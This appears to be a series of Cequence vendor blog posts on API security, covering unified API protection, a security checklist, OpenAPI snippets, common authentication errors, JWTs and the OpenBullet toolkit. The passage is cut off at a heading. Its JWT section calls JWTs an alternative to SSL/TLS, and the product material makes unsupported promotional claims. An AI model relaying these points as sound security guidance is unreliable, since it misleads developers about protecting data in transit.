Heading 1

Unified API protection is defined as the ability to secure your APIs across every phase of the application protection lifecycle. To ensure business success, security teams must prevent misuse, abuse, fraud, data loss and non-compliance across their legacy web and mobile application connections, but now even more importantly over the APIs that the business depends on. Rather than trying to address the need for API security with retrofitted web tools, or point-products that focus on a single aspect of the API lifecycle, Unified API protection represents a new end-to-end approach whose time has come.

To ensure business success, security teams must prevent misuse, abuse, fraud, data loss and non-compliance over not just their legacy web and mobile application connections, but now even more importantly over the APIs that the business depends on.

And with today’s speed of application development and already stretched applications security teams and tools, the challenge of securing the organizations API infrastructure without slowing down their usage and growth is becoming increasingly critical and difficult.

Why Traditional Security Tools Fail APIs

Today’s security teams simply lack the visibility and defense capabilities they need to reduce their ever-growing risk profile from APIs and other application connections. First, they need to ensure APIs are error, misconfiguration and vulnerability free. Second, they need to protect those APIs that are perfectly coded.

They often deploy a strategy of trying to shift more burden of security and compliance to development teams and testing or extending their existing security tools such as web application firewall (WAF) mitigation and API gateways to their known API risk surface.

These efforts to extend, exert and shift fall short by leaving the organization with unknown and unmitigated security and compliance exposure from “shadow” APIs and infrastructure. What’s more, they don’t provide a means to detect and block sophisticated attacks that look like legitimate traffic or transactions but are attempts to evade and commit fraud and theft.

The lack of visibility and defense capabilities they need to protect the ever-growing risk from APIs and other application connections can result in the adopted belief that compliance with PCI or SOC 2 combined with a DevOps mentality supported by existing WAFs or API gateways is sufficient to identify their API risk surface, exert more management and security controls.

The problem with these strategies is that they have no way to “know the unknown,” meaning they aren’t able to look for all APIs and API vulnerabilities without knowing where to look. In addition, they fail to uncover and assess risk into the APIs that are only discoverable through an edge deployment or outside in view of the organization’s footprint.

What’s more, these approaches, depend on shallow and easily evadable detection and lack the real-time ability to discern good from bad API activity that use least common denominator static protection spread across multiple technology solutions.

This lack of visibility and protection puts the security and development teams under pressure to do the impossible, leaving them anxious, fatigued, and frustrated stuck in spreadsheet and communication loops and too often at odds with their development and operations teams. This results in the organization being at significant risk of business logic attacks and abuses, compliance failures, and data losses.

Unified API Protection

To combat the ever-present risk evident with APIs requires a unified and fully integrated approach that works across the entire API protection lifecycle, protecting all APIs, across all API implementations, channels, and infrastructure environments, and all user groups and business use cases.

The approach must discover and create a complete runtime inventory of all managed and unmanaged APIs and provide comprehensive API protection including not just complete discovery and runtime inventory, but compliance monitoring and remediation, threat detection, and inline, robust threat prevention.

This unified API protection solution would need to deploy and scale quickly, easily and cost effectively without the need for intrusive instrumentation or sensors that slow development and deployment and prevent effective scaling.

Last, the approach must protect against today’s agile, sophisticated, and persistent attackers and their always changing attacks through native, real-time attack detection, alerting, and inline stealthy mitigation that leverages ML, AI, and global API threat intelligence to fingerprint and identify attacks well beyond evadable, least common denominator domain-based signatures.

Cequence Unified API Protection – Eliminate the Unknown, Protect the Unprotected

The Cequence Unified API Protection solution is the only offering that addresses all phases of the API protection lifecycle to defend your APIs from attackers and eliminate unknown and unmitigated API security risks that can lead to data loss, fraud, and business disruption. The Unified API Protection solution is comprised of:

• API Spyder: An API attack surface discovery and management tool that continuously assesses your public facing APIs and resources to show you exactly what an attacker sees from an outside-in perspective. API Spyder discovers your sub-domains, the cloud hosting service in use, any associated API endpoints, and the servers that may be exploitable using vulnerabilities such as Log4j. Results are visualized in an easy-to-use dashboard for easy and rapid remediation.
• API Sentinel: Provides an inside-out view of your APIs by integrating with any network infrastructure element to create an up-to-the-minute catalog of all your APIs, managed, unmanaged. Predefined ML-based risk assessment rules help uncover sensitive data handling, weak or missing authentication, and specification conformance coding errors for remediation.
• Spartan: Detects and prevents the most sophisticated automated API attacks and business logic abuse using hundreds of ML rules that leverage an API threat database with billions of malicious behaviors, IP addresses and organizations. Native, policy-based response options ensure that any detected attack is blocked, in real-time, without reliance on a third-party WAF or other security component.

Security teams deploying the Cequence Unified API Protection solution eliminate unknown, unprotected, and unmitigated API risk. They achieve continuous protection of their complete API risk surface, enabling their organizations to reap the competitive and business advantages of ubiquitous API connectivity securely and compliantly.

And the good news is that with the launch of API Spyder, we’ve delivered what we think the world needs. The final piece of our Unified API Protection solution.

Cequence now delivers complete visibility and assessment of your full API inventory, and its security risk and compliance status. What’s more it provides monitoring and alerting on malicious traffic and risky changes across your entire API footprint allowing your team to quickly understand and rapidly respond to new risks. And in the case where APIs aren’t necessarily coded or configured incorrectly, it provides real-time, native, and robust inline threat prevention, stealthily blocking attacks without manual intervention or false positives.

By stopping attacks without disrupting good traffic, security teams deploying Cequence Unified API Protection enable their organizations to increase revenues, lower service delivery costs, and improve user experience across all their API enabled applications. And they relieve the anxiety and costs of unknown risk because they eliminate previously unprotected and unmitigated API security and compliance exposures. Cequence improves visibility and protection while reducing cost, minimizing fraud, business abuse, data losses and non-compliance while creating attack futility, failure, and fatigue for even the most relentless of attackers.

Get Started Today with the Cequence Unified API Protection solution

Schedule Your Free API Security Assessment

When asked how to define API security, most security professionals would say it means protecting your APIs. Asking a second, more specific question of what are the API security solution requirements needed to address the explosive use of APIs and the corresponding increase in malicious activity will result in a more detailed answer. This is where an API security requirements checklist becomes critically important. An API security checklist can help your organization define the solution requirements needed to address the need to protect your APIs and your organization from attacks that can cause data loss, fraud and business disruption.

No matter the size of your organization’s technology footprint or your industry, chances are your IT includes dozens of APIs or more. Those APIs can be exploited, potentially resulting in data breaches, theft, fraud, and business disruption.

Since there are so many uses for APIs today in web application development and beyond, running down every possible API vulnerability and the appropriate response is an involved process. Using an API security checklist is a great way to make sure everything is in order, with all potential risk factors accounted for and safeguards in place.

API Security: More Necessary Than Ever

Before committing to running down a full API security checklist, it may be necessary to remember why APIs are worthy of security attention and focus. In short, it’s because application programming interfaces have become the tool of choice for data interchange between applications.

Of the over 21 billion application requests made over six months, more than 14 billion were API-based, accounting for over two-thirds of the total. During the second half of 2021, these many APIs were a large-scale attack surface for hackers, with exposure of sensitive data through APIs rising 87%.

Companies are employing APIs to build essential capabilities, from e-commerce software to user authentication portals and all manner of web applications. Nearly any piece of software on a company’s website will include some API-based functionality in its code.

To get a sense of all that could go wrong with API usage, you can review the Open Web Application Security Project’s top vulnerability list. The current OWASP API Security Top 10 includes such risks as broken access control features, failures of cryptography, insecure design decisions and misconfigured security features. Any one of those could produce undue security risk, meaning companies must take the time to review the security of all their systems.

Why Follow an API Security Checklist?

Taking stock of the current API security posture is an essential step for any organization today. This is best accomplished with a formalized API security checklist, to ensure every possible vulnerability is covered by an appropriate response.

A checklist based on API security best practice specifications will include the multiple related areas that make up comprehensive API security. This means strong visibility into all of a company’s APIs, as well as an understanding of the potential security risk factors associated with those APIs and threat mitigation options. There should also be considerations made around ongoing design and development processes, to make sure security is included as part of the business’s DevOps workflow, to prevent new threats from going live. Additional considerations around how to proactively protect existing APIs from attacks should be accounted for – even a perfectly coded API can be attacked.

By the time a company is done studying and complying with an API security checklist, that organization should have API security processes embedded into its existing security and application development processes. This is a way to prepare the organization for the future as well as eliminate any existing vulnerabilities.

Such a forward-looking approach is an important consideration because API usage is on an upward trajectory. New APIs and interactions are always emerging, and attackers are developing new threat types at a rapid pace. In this challenging environment, it’s important to stay one step ahead of the next generation of risks.

Legacy API security methods have often focused on web application firewalls (WAF) and API gateways. These methods primarily work against known threats and brute-force attacks rather than novel, zero-day risks or more subtle threats that infiltrate systems with legitimate-seeming traffic. A complete API security checklist will prepare businesses to take on a more diverse roster of threat types.

Running Down the API Security Checklist

Rather than simply discussing an API security checklist in abstract terms, it can be instructive to see what types of threats and responses are actually included in such a document. Such a list should go beyond API security testing and include potential countermeasures for all kinds of threats, both currently known and as-yet-unknown.

The Cequence API Security checklist is designed to provide a comprehensive overview of API protection, including building defense mechanisms into workflows to keep organizations safe in the years to come. The list is broken down into several distinct categories, as follows:

Continuous API Discovery and Runtime Inventory

Businesses need automated ways to determine which APIs they’re using, what sensitive data is moving into and out of these interfaces and whether there are any changes to the ecosystem. A company’s API footprint can be larger than even its own developers realize, which is why these visibility and discovery tools are so vital — IT security teams can’t protect what they can’t see.

Shadow APIs, not documented in the company’s specifications, may be lurking within the business’s application ecosystem, and these need to be visible, as do APIs based on common specifications such as OpenAPI. The tools used to provide API visibility should be vendor-agnostic and integrate with all existing infrastructure tools, including every API gateway, proxy and controller.

API Risk Assessment

Once an organization has better visibility into its API footprint, the next step in API security testing is to provide a risk assessment for all of the discovered APIs. By rating each instance on a scale from 1-10, it’s possible to prioritize API security needs and develop effective countermeasures in the case of a major vulnerability. By using a visual dashboard, IT security teams can filter out the APIs potentially endangering sensitive data, using poor authentication practices, or are not conforming with the defined specification and take action.

Continuous, real-time threat assessment is important because both the risk environment and API footprint will evolve over time. An API endpoint may deviate from published specifications, introducing new risk. Since every company is different, risk assessment rules should be customizable.

API Risk Remediation and Threat Mitigation

Each step of the API security checklist builds on those that came before. Once teams understand their API footprints and have analyzed the risk of their APIs, they can use automated tools to flag top priorities and respond. Real-time reports on API usage can reveal potentially malicious traffic, based on known threat patterns, and begin automated corrective action, enabling fast responses.

There are a few potential response types to malicious API traffic. Security personnel can block, log, deceive or rate-limit attackers’ access. As with risk assessment, threat mitigation tools should be customizable to ensure a given company can fend off threats without impeding legitimate traffic.

Design and Architecture

API security solutions should always be built on an architecture that makes sense for an organization’s needs. Considering the diverse types of uses companies have found for API-based development, that may mean a cloud-based software-as-a-service deployment or an on-premises deployment in a data center. There is also an important role for hybrid deployments, with data collection features on premises for security and compliance, and the control plane in the cloud.

The API security tool should not analyze too much sensitive data — only what is needed to perform its role. This is an important consideration to make sure the security approach complies with laws such as the General Data Protection Regulation and does not become a privacy liability.

Network Integrations

A comprehensive API security deployment will integrate with network infrastructure of all kinds to make sure there is visibility into all types of API traffic, both inline and out of band. Integration with external content delivery networks allows organizations to analyze still more information.

Both internal and external APIs need to be part of API security efforts because either could provide the attack surface a bad actor needs to compromise sensitive data. Through integrations with gateways, proxies, load lancers, controllers and more, it’s possible to cast such a wide net.

Ecosystem Integration

API development workflows need to be part of the API security solution to minimize the risk that a new vulnerability is put into production. This is why the API security checklist concludes with integration into DevOps workflows and existing security tools.

With these integrations in place, developers will be able to make API security visibility and risk mitigation a part of their continuous integration and deployment workflows. Since the features are highly automated and efficient, the result is more secure application development without slowing down workflows.

Take Action on Your API Security Posture

Regardless of size or industry, your organization can likely benefit from the kind of comprehensive API security refresh that comes from using a detailed API security checklist. With API usage only expanding, including for the transfer of sensitive information, it’s important to take action as quickly as possible.

Your API security action should not just cover one area, such as discovery and visibility — you should take an end-to-end approach that leaves your organization with comprehensive protection of all APIs, internal and external, real-time awareness of emerging threats and smooth integration with your development processes.

The adoption of API specification frameworks like OpenAPI (OAS) encourages documentation best practices resulting in higher quality, more consistent API coding and improved API security. Historically, APIs were designed for machine-to-machine communications, and were rarely documented resulting in lower quality APIs and making it difficult to achieve the goals of catching security flaws earlier. Using a framework like the OAS automatically creates a centralized API documentation repository with standardized API definitions stored in a language-agnostic and machine consumable format that can be used by development and security teams alike to ensure coding consistency and address coding errors before they become exploits.

To help address both the quality and security challenges, organizations are using API specification frameworks like the OpenAPI specification (OAS) to create a centralized API documentation repository. The OAS standardizes API definitions in a language-agnostic and machine consumable format that can be used by development and security teams alike to ensure coding consistency and to uncover potential security gaps before publication or discovery by threat actors.

API Specification Adoption Trends: Slow Adoption, Yet High Perceived Value

In a Pulse survey of 100 executives and CXOs familiar with their API documentation and specifications process, we found that most organizations were in the early stages of specification frameworks adoption, citing numerous barriers including too many priorities. However, the survey does highlight that there is a high value derived from adoption – specifically better quality, security, and group collaboration.

Bridging the Gap with OAS

The OpenAPI specification documents all of the components referenced by the API including servers, methods, endpoints, parameters, requests and their responses. The remainder of the blog will discuss how the documentation of each API component can help developers and security teams improve API coding quality and reduce the number of potential security flaws.

Servers

Depending on the development phase, APIs, like any application are hosted in different environments (e.g., Dev, QA, UAT, Prod). In order to validate functionality and perform initial tests, it is not uncommon to use real customer data in non-production environments. Unfortunately, non-production environments are not subject to stringent testing, resulting in the data being inadvertently exposed to the Internet.

As shown in the code snippet below, the OpenAPI specification allows development teams to document their servers (Development, Staging, Production) and their protocol scheme (HTTPS) to ensure secure communication.

{
"servers": [
{
"url": "https://development.gigantic-server.com/v1",
"description": "Development server"
},
{
"url": "https://staging.gigantic-server.com/v1",
"description": "Staging server"
},
{
"url": "https://api.gigantic-server.com/v1",
"description": "Production server"
}
]
}

As the organizations roll out new servers for an API, they can keep the servers section up-to-date to enable the security teams to properly secure them.

Methods and Paths

Each method and path combination in an API defines the unique business logic or functionality that is going to be exposed to the public as an API endpoint. Examples include account registration or login, updating credit card numbers or user profiles, reviewing past orders, filing an insurance claim, and so on. Quite often developers make mistakes and end up implementing or exposing more methods and endpoints than they intended to, resulting in the introduction of added security risks. For example, in addition to exposing a read only GET endpoint, a developer mistakenly exposes a POST, PUT or DELETE endpoint that can lead to modification or deletion of customer data, an API risk documented as #9 on the OWASP API Security Top 10, Improper Assets Management.

As shown in the code snippet below, the OpenAPI specification has a mechanism to specify all endpoints and methods, which can be used by development and security teams alike to eliminate unintended endpoint exposure.

"paths": {
"/pets": {
"get": {
"summary": "List all pets",
"operationId": "listPets",
...
},
"post": {
"summary": "Create a pet",
"operationId": "createPets",
...
}
}
}

Request Parameters

Each resource referenced in an API can take dynamic values from the request using parameters. Just like any other HTTP request, these parameters can be in the path, query or body of the request. The code snippet below shows how an API specification can be used to properly document all required and optional endpoint parameters and lock down all incoming API requests. Any request with additional parameters can be either blocked or stripped out.

"parameters": [

{
"name": "limit",
"in": "query",
"description": "How many items to return at one time (max 100)",
"required": false,
"type": "integer",
"format": "int32"
}
]

Like the path and query parameters, dynamic values can be passed in the request body as well. The OAS specifies a way to define the body of the request.

"requestBody":{
"description":"Create a new pet in the store",
"content":{
"application/json":{
"schema":{
"$ref":"#/components/schemas/Pet"
}
},
"application/x-www-form-urlencoded":{
"schema":{
"$ref":"#/components/schemas/Pet"
}
}
},
"required":true
}

Response Body

Each API response should be documented with the best practice being to provide as LITTLE information as possible in the response. OpenAPI specification provides a method to specify the response structure and its individual fields. If an undocumented, additional field gets introduced for any reason, it can be flagged by the security tools with the help of this specification.

"responses":{
"200":{
"description":"Successful operation",
"content":{
"application/xml":{
"schema":{
"$ref":"#/components/schemas/Pet"
}
},
"application/json":{
"schema":{
"$ref":"#/components/schemas/Pet"
}
}
}
}
}

Security Schemes

Interestingly, one of the most critical elements in developing an API is one of the flaws that is most commonly exposed or discovered: Broken User Authentication. Classified as #2 on the OWASP API Security Top 10 list, these authentication errors allow attackers to compromise authentication tokens or to exploit implementation flaws to assume other user identities, temporarily or permanently. Compromising a system’s ability to identify the client/user, compromises API security overall.

"securitySchemes":{
"petstore_auth":{
"type":"oauth2",
"flows":{
"implicit":{
"authorizationUrl":"https://petstore3.swagger.io/oauth/authorize",
"scopes":{
"write:pets":"modify pets in your account",
"read:pets":"read your pets"
}
}
}
},
"api_key":{
"type":"apiKey",
"name":"api_key",
"in":"header"
}
}

Summary

Shift left critics say that the effort is failing to catch all the security flaws, placing the bulk of the blame on the development team. The reality is that shift left IS working, it IS catching flaws earlier. Even the most perfectly coded API is susceptible to an attack, which is where the security team comes into shield the right. By working with the development team in tandem, the groups can use a specification framework to document the APIs, understand the functionality, collaborate on testing to uncover and remediate possible security gaps before publication or discovery.

API authentication errors are listed as the top two threats outlined in the OWASP API Security Top 10, both of which can be traced back to many of the recent publicly disclosed API security incidents. Unauthenticated APIs, too many API tokens, and improper API authentication logic are just a few of the errors found in customer environments, all of which can lead to unauthorized access to back end resources by an attacker. Listed below are the top 5 API authentication errors and best practices on how to eliminate them before they become security incidents.

The OWASP API Security Top 10 provides a good framework for the kind of risks to evaluate the API inventory against. They are listed in a top 10 form for a reason – the most common and severe are at the top. For example, the first two in the list deal with Authentication and Authorization, both of which can be traced back to some of the recent API incidents mentioned above, and commonly found in our own customer environments.

#1: Unauthenticated APIs

Unauthenticated APIs are by far the worst things to detect in a public-facing API. This is especially true for APIs that handle essential business information that may contain information subject to regulatory compliance like PCI or PHI.

One common reason cited for the lack of authentication in a public-facing API handling necessary business data is that the API was intentionally left unauthenticated in the past to support a legacy application that did not support authentication. That may have been the case at one time, but that doesn’t mean the API should remain open. Today, many uses (including external and internal) would be accessing the API completely openly. People who knew the history of the older limitations may have left the company, and as a result, the enterprise would need to scramble and close this gap now. It is never acceptable to open the gate to make room for such exceptions because very rarely do people go back and close the gate at a later point in time.

Best Practice: NEVER deploy an unauthenticated API – internal or public-facing.

#2: APIs Using Non-Null Value Auth Tokens

Hard though it may be to imagine, it is common to find APIs that do not implement any authentication using the auth token at all, but rather only check for the existence of one in the request. This issue is often more shocking to find than even the lack of authentication in an API, because this allows users to access the resource by merely passing an auth token in an API request. The actual value of the token does not matter, since the application merely checks for the presence of an auth token – any auth token – in the request.

It’s hard to think of a good reason why APIs may have been developed with this approach. Perhaps they lacked the time necessary to implement the authentication logic in the backend application? Unfortunately, it doesn’t take much effort or time for an attacker to exploit these APIs. They only need to send in a non-null value for the auth token, and the API request will be successfully processed. The use of non-null-value token should never be allowed. Ever. It introduces a significant risk of being used “temporarily” but never being removed.

Best Practice: ALWAYS assign a token value for internal or public-facing APIs.

#3: APIs are Authenticated, but not Authorized

APIs with only authentication and no authorization is another common pitfall. Caused partly by the notion that implementing user authentication is “good enough”, there is little benefit to reap by validating the user’s authorization privileges. The downside is that this allows users to access resources that don’t belong to them.

For example, suppose a user logs in to check their profile, and the backend is not enforcing strong authorization checks. The user will be able to “sniff” around and grab information over the same API by changing their user identifier. In this all-too-common API risk, authenticated users can exfiltrate information for many other users by simply enumerating the identifiers.

This issue gets even worse if the identifiers are simple numeric values like 6-digit numbers, which the attacker can easily enumerate. The very minimum recommendation is to use randomly generated alpha-numeric identifiers to at least mitigate, (but does not eliminate), the risk of such enumeration attacks.

Best Practice: ALWAYS implement strong authorization mechanisms to complement strong authentication.

#4: API Token Proliferation

It is common for the app development team to support different types of authentication integration with different consumers of their APIs. This ends up resulting in a fragmented authentication approach for the API that becomes hard to manage for app owners.

For example, consumer A might send an API token called X-api-token in the request header to authenticate themselves to the app. Instead, consumer B of the same API might send their API token in a request param called api-key. A third consumer C might send theirs in the Authorization header.

This divergent approach results in the API accepting auth tokens in a variety of ways. A potential weakness in any of those approaches, similar to the ones we saw above, can compromise access for all of them. Our recommendation is to enforce consistency in an API definition such as a Swagger specification, and then test for the result to eliminate the risk before publication. At the very minimum, it is important to discover your APIs in runtime and detect if you have such a fragmented auth issue with any of them.

Best Practice: Enforce CONSISTENCY using an API spec framework and go beyond basic pen testing using functionality-based test plans.

#5: APIs With Improper Authorization Logic

APIs with improper authorization logic allows access to higher-privilege environments like production by accepting auth tokens produced in lower-privilege environments such as dev or staging. This can rapidly escalate to a major vulnerability if users gain easy access to sensitive business data in the production environment.

A savvy threat actor may be able to grab an auth token from a lower environment and replay that to the production server. A poor implementation of auth would allow such access since the auth token itself might be valid, but for the wrong environment. To remediate this risk, the authorization scope of auth tokens needs to be appropriately limited to the resources that are allowed to be accessed.

Best Practice: Use OAuth Scopes or other tools to create and implement a well-designed authorization backend.

Summary

API Authentication tokens are quite literally the keys to your app kingdom. These 5 authentication weaknesses were all found in our customer environments, leaving their APIs vulnerable to threat actors breaking into their application and exfiltrating information that they are not authorized to access.

It is important to create an inventory and analyze public-facing APIs to find authentication gaps before they are published or discovered by threat actors. The authentication and authorization issues discussed in this blog can be mapped back to one or more of the following OWASP API Security Top 10 Threats.

• API1: 2019 Broken Object Level Authorization
• API2: 2019 Broken User Authentication
• API5: 2019 Broken Function Level Authorization

Using the OWASP top 10 lists in conjunction with an API specification framework where authentication and authorization requirements are defined and tracked can uncover API coding security gaps for remediation to ensure your APIs and the resources they connect to are secure.

Technology is always evolving with some of it widely adopted, while others never get implemented. In some cases, the technology adopted for the sake of the latest and greatest is implemented incorrectly, resulting in security flaws. This latest [insecure] technology adoption trend we are seeing is data buried in API requests utilizing JSON Web Tokens (JWTs), but not protected properly. Let’s look at JWTs and how they can be used in API transactions.

Originally designed for machine-to-machine information transfer, APIs are now the underlying data transfer for most all public-facing applications. Threat actors can easily discover API endpoints by watching transactions in an intercept proxy or taking the mobile application apart or finding the APIs in GitHub. As always, protecting data in transit is a priority, but organizations that have used, but may no longer trust a single SSL/TLS certificate to do the job now have an alternative in JSON Web Tokens.

How JSON Web Tokens Work in API Transactions

JWTs are funny-looking transactions that start with “eyJ”, which is a bracket ({) in base64 encoding. They are powerful additions to APIs that allow data to be transferred as part of the Query String and can contain secure data – analogous to port 80 GETs with secure data in them. JWTs are not quite as insecure as HTTP but, they are getting used more and more as GET query parameters. For example, GET www.example.com/user/?eyJ where once “bigstring” was decomposed we would find {User:bob Admin:No submitted at X time}, as highlighted in the image below.

Why JWTs Aren’t Automatically Secure

I know that you are thinking, “this is mind-blowing stuff, carrying data in a simple string”, why isn’t it used everywhere? Just slow down a bit and we can talk about security here. If in this transaction, it wouldn’t matter that the username was known or the role, as in, if you weren’t hiding this data anyway. Perhaps in a search for a public object, then we are all good. We CAN make this more secure but using the default on a random website isn’t going to necessarily be the best thing for us. JWTs don’t ensure security and they shouldn’t be considered secure without a few more pieces in place. JWTs, like all new technology, need to be designed and implemented with security in mind.

To ensure the use of JWTs is secure, we first need to understand implementation. This is data that contains a signature to ensure it is valid, but nothing is protecting the data in flight, no encryption had occurred. Threat actors can attack this by simply manipulating the signature declaration and claiming the data is unsigned. Requiring a signature means it needs to be configured as such, placing an added trusted signature requirement on the client (as trusted as client-side data should be).

CSRF, OWASP, and the Real Benefits of Proper JWT Implementation

Another consideration is Cross Site Request Forgery. Yep, you read that right. No longer on the OWASP Web Application Security Top 10, CSRF is back. CSRF is possible because the web server is no longer issuing tokens because the validation of the user profile is done by the JWT. And all the other OWASP concerns are still valid. Enabling JSON Web Tokens does not automatically bring additional security. They are however a better way to validate client-side data in transit, nothing more, this isn’t an XSS filter or Authorization standard. This carries tokens to validate the data. When implemented correctly, JWTs introduce some very powerful authentication enhancements – federated identity, managing session tokens, and resetting a session at any time – which in turn allows for finer control of active users and on-demand authentication refresh.

Encryption, Ephemeral Data, and Key Management

JWTs also introduce some very powerful encryption options, deciding what kind and how to implement encryption will require knowledge of the data and what it can access. JWTs are a great way to utilize ephemeral data and utilize encryption of the data in transfer. Brute-forcing the transaction could still be possible but the concept of ephemeral data allows for this time period. The type of encryption needed, and the key management are obviously going to matter, the consideration for the data shouldn’t. If handling certificates, for instance, the management of the certs, how to retire them, how to implement a different type of cert, revocation, etc. is a discussion that shouldn’t include whether the data is worth it. Loss of data in transit should be the higher priority.

Best Practices for Secure JWT Implementation

So, if you are implementing JSON Web Tokens as an alternative to SSL/TLS or as a means of shortening the validation of client-side data, or to transport sensitive data in a more encrypted and validated way, while saving in processing and transport time, good for you. If you are looking for a more encrypted solution for web application traffic due to privacy concerns, JWTs are a great place to start.

No matter what your goal is, make sure you follow secure API and JWT coding best practices like those outlined by OWASP so that your implementation cannot be changed by an attacker and maintains the desired integrity, confidentiality, and availability.

In the meantime, check out how Cequence API Security can help you discover, analyze and protect your APIs:

We’ve been working with a client who was getting hit with wave after wave of bot attacks that were easily bypassing their JavaScript bot detection tools. It seemed odd that they had such a wide array of attackers, and started researching if there were some new attack configs for sale that would target them.

Unlike in the past when we’d have to make our way to some of the seedier sides of the web, a Google search yielded several online stores selling ‘guaranteed to work’ configs, courses, how-to guides and even offering support.
Now, hacker tools have always existed. You just needed to know where to look. They are commercially available from a variety of marketplaces with 100s of bots and configurations available to perform any sort of action needed. Do you need a bot to emulate human movement? Do you need a specialty bot to navigate a particular website or form? Do you need something to help you snag the latest sneakers? These marketplaces will have what you need to make your life as a hacker — or cybercriminal if that’s your leaning — as easy as can be.

You’ll find that the tools are readily available for purchase – pay, click, download — and they’re constantly updated with improvements to reflect the changes that are happening on the target sites, or the defenses that the sites are building in to block the bots.

One particularly malicious tool that we’ve been tracking is OpenBullet. It’s well known and is a feature-rich hacking toolkit – we see it used by bad actors mostly for Account Takeover attacks, credential stuffing or fake account creation. It’s customizable, has built-in Captcha and JavaScript bypass features, a well-maintained GitHub repo, and there’s even a community of builders and users who support each other in their efforts.

The builders are creating OpenBullet configurations for specific target sites – in fact, if you google OpenBullet and your business name, you may find that there are OpenBullet configs available to target you.

Why is OpenBullet So Successful at Defeating First-Generation Bot Detection?

OpenBullet is successful because there is money to be made and it’s relatively easy to bypass existing protection mechanisms. First-gen Bot detection tools address the automated attack problem by collecting signals from the client by injecting JavaScript code into each of your web applications. The JavaScript is posted in the web page and is easily analyzed by attackers to figure out how to bypass mitigation efforts. Alternatively, attackers will target the APIs supporting the mobile or web app directly, which typically interact using XML/JSON and do not support JavaScript or an SDK.

Credit: openbullet.store

Another problem is that first-generation Bot Mitigation solutions require instrumentation for every entry point for complete protection. Having even one entry point or API exposed only ensures that it will be quickly detected and attacked. OpenBullet makes it easy to test endpoints in a methodical and streamlined fashion. And, don’t forget, attackers can find any number of tutorials on YouTube or on a marketplace that will teach them how to do it – and how to make the most of an attack.

This is where advanced bot management becomes essential — not just to stop known signatures, but to detect and mitigate behavior that deviates from normal user interaction, even when it’s coming from tools like OpenBullet targeting your APIs directly.

The Cequence Application Security Platform was designed from the start to not be hindered by a reliance on JavaScript or SDKs for detection, protection, or mitigation. The CQAI engine continuously discovers new applications across all of your web, mobile and APIs allowing you to apply policies to prevent business logic abuse and API misuse.

Credit: crackingpro.com

Check if Your Site is an OpenBullet Target

With the prevalence of tools and bots targeting specific sites – and more and more coming available each day – we caution our clients to always be on the lookout for them. (Especially if you have a product or service that would be of interest to teens, young adults and hackers.) A simple Google Search with OpenBullet and your brand name will likely turn up a few hits. First, try the basic search and for more accurate results, use the all in text variation shown below.

• YOURCOMPANY openbullet
• allintext: “YOURCOMPANY openbullet”

Just be careful about where you click and what you download. If there are OpenBullet configs for your site and you’d like to get better visibility into the malicious bot traffic contact us about setting up a free trial.

Another best practice is to get visibility into your API security posture, which is where a tool like API Sentinel can help. Just getting a catalog of all your exposed APIs and understanding which ones may have vulnerabilities is an important step towards protecting your data and IP from harm.

If you’d like to learn more about OpenBullet, check out this video:

Security Solutions for APIs and Cloud Applications

Organizations have gained many benefits by developing applications in the cloud that include flexibility, agility, scalability, and speed – but it’s also created security problems that are not easily solved by just any one solution. These problems become more complicated when considering APIs, which are the glue that make mobile and web applications work. APIs, which by their nature are highly visible and well-defined doorways into the data and business processes of organizations, are now the number one attack surface exploited by cyber criminals. Even the most compliant and secure APIs can be exploited by attackers in the form of business logic abuse and automated threats resulting in data loss, fraud, and business disruption.

CNAPP for DevOps Teams

While a new category of cloud security vendors named CNAPP (Cloud-native Application Protection Platform) by Gartner will provide some coverage for application security such as scanning application code for OWASP vulnerabilities and enabling DevOps teams to remediate security issues, API protection solutions deliver a different set of capabilities. Together, these solutions provide organizations a complementary approach that can reinforce their overall cloud native security, and API and application security posture.

CNAPP – Focusing on Cloud Native Application Security

When looking at cloud security for applications deployed in the cloud, it’s important to consider that an application will require different components such as virtual workload, data-store, network, and identity services that are used to support its function in the cloud. These components and the effort to secure applications deployed in the cloud have created a patchwork of security solutions resulting in a disjointed and complex deployment that lacks a centralized view (management?). The lack of a unified view means customers are presented with isolated silos of information leading to blind spots between different security products that could potentially enable attackers to exploit your application or infrastructure.

CNAPP – Cloud Security Challenges

The goal of CNAPP solutions is to simplify the underlying complexity of existing cloud security products by combining the functionality of existing products such as Cloud Security Posture Management (CSPM), Cloud Workload Protection Platforms (CWPP), Cloud Infrastructure Entitlement Management (CIEM), and Cloud Service Network Security (CSNS) into one solution. CNAPP offerings are geared towards addressing the following cloud security challenges:

• Increased Management Complexity: As the cloud has become more complex, a variety of security products have been deployed to lock down various segments of cloud infrastructure that are vulnerable to exploits, complicating day-to-day management.
• Security Blind Spots: The disparate and fragmented nature of deployed cloud security products has resulted in security blind spots and loss of visibility across cloud deployments, making it difficult for security and DevOps teams to understand where they are vulnerable.
• Cloud Misconfigurations: Constant changes often lead to human error that can result in misconfigurations of security groups, ACLs, network and security policies, mistakes that can lead to exploitation. Identifies deviations from desired security posture that include identifying vulnerable components, unused workloads, identify areas of application misuse and attack.
• DevOps Productivity: Increasing developer and DevOps team productivity by identifying misconfigurations and potential threats in the CI/CD pipeline phases, reducing the number of bug fixes and merge/pull requests.
• Vulnerability Testing: Performing periodic security scans across cloud components such as containers, serverless environments, and VMs to preempt any security issues that can be missed or exploited

API Protection Capabilities that Complement CNAPP

While a CNAPP approach can provide a unified view between different security products that could potentially prevent attackers from exploiting your application or infrastructure, protecting APIs requires a different approach. The following are some of the areas for providing API protection that complement CNAPP to help secure and defend against cyber-attacks that target API-based and cloud-native applications.

Real-time Threat Detection & Mitigation

An API protection solution will accurately detect and mitigate malicious traffic with industry leading, high efficacy rates. This ensures that business critical transactions are processed without any risk of being blocked due to inaccurate threat detection. This complements CNAPPs by ensuring real-time threat detection and mitigation for organizations who require their applications to have real-time API protection for applications that might be accessible to malicious entities.

Shadow API Discovery

The greatest threat to organizations are unknown APIs used by applications deployed by internal groups but who never notify the security team of their existence. These APIs may have vulnerabilities that have not been corrected and can be a quick and easy target for cybercriminals. This discovery capability complements CNAPP, helping protect unknown APIs and cloud components while CNAPP focuses on known applications and cloud infrastructure.

Rapid Application Code Changes

API applications deployed in the cloud often adhere to agile development methodologies that constantly introduce changes to API specifications that if not monitored can lead to compliance or data exposure issues. OWASP API Security Top 10 vulnerabilities that are introduced during the development cycle can be potentially exploited by attackers. This requires constant inventory and compliance checks to identify and mitigate the vulnerabilities before they can lead to exploitation. Rapid application changes that can lead to deviations from an original API specification that can introduce vulnerabilities that can be exploited by cybercriminals are not something provided by CNAPP approaches.

Direct Access to Sensitive Data

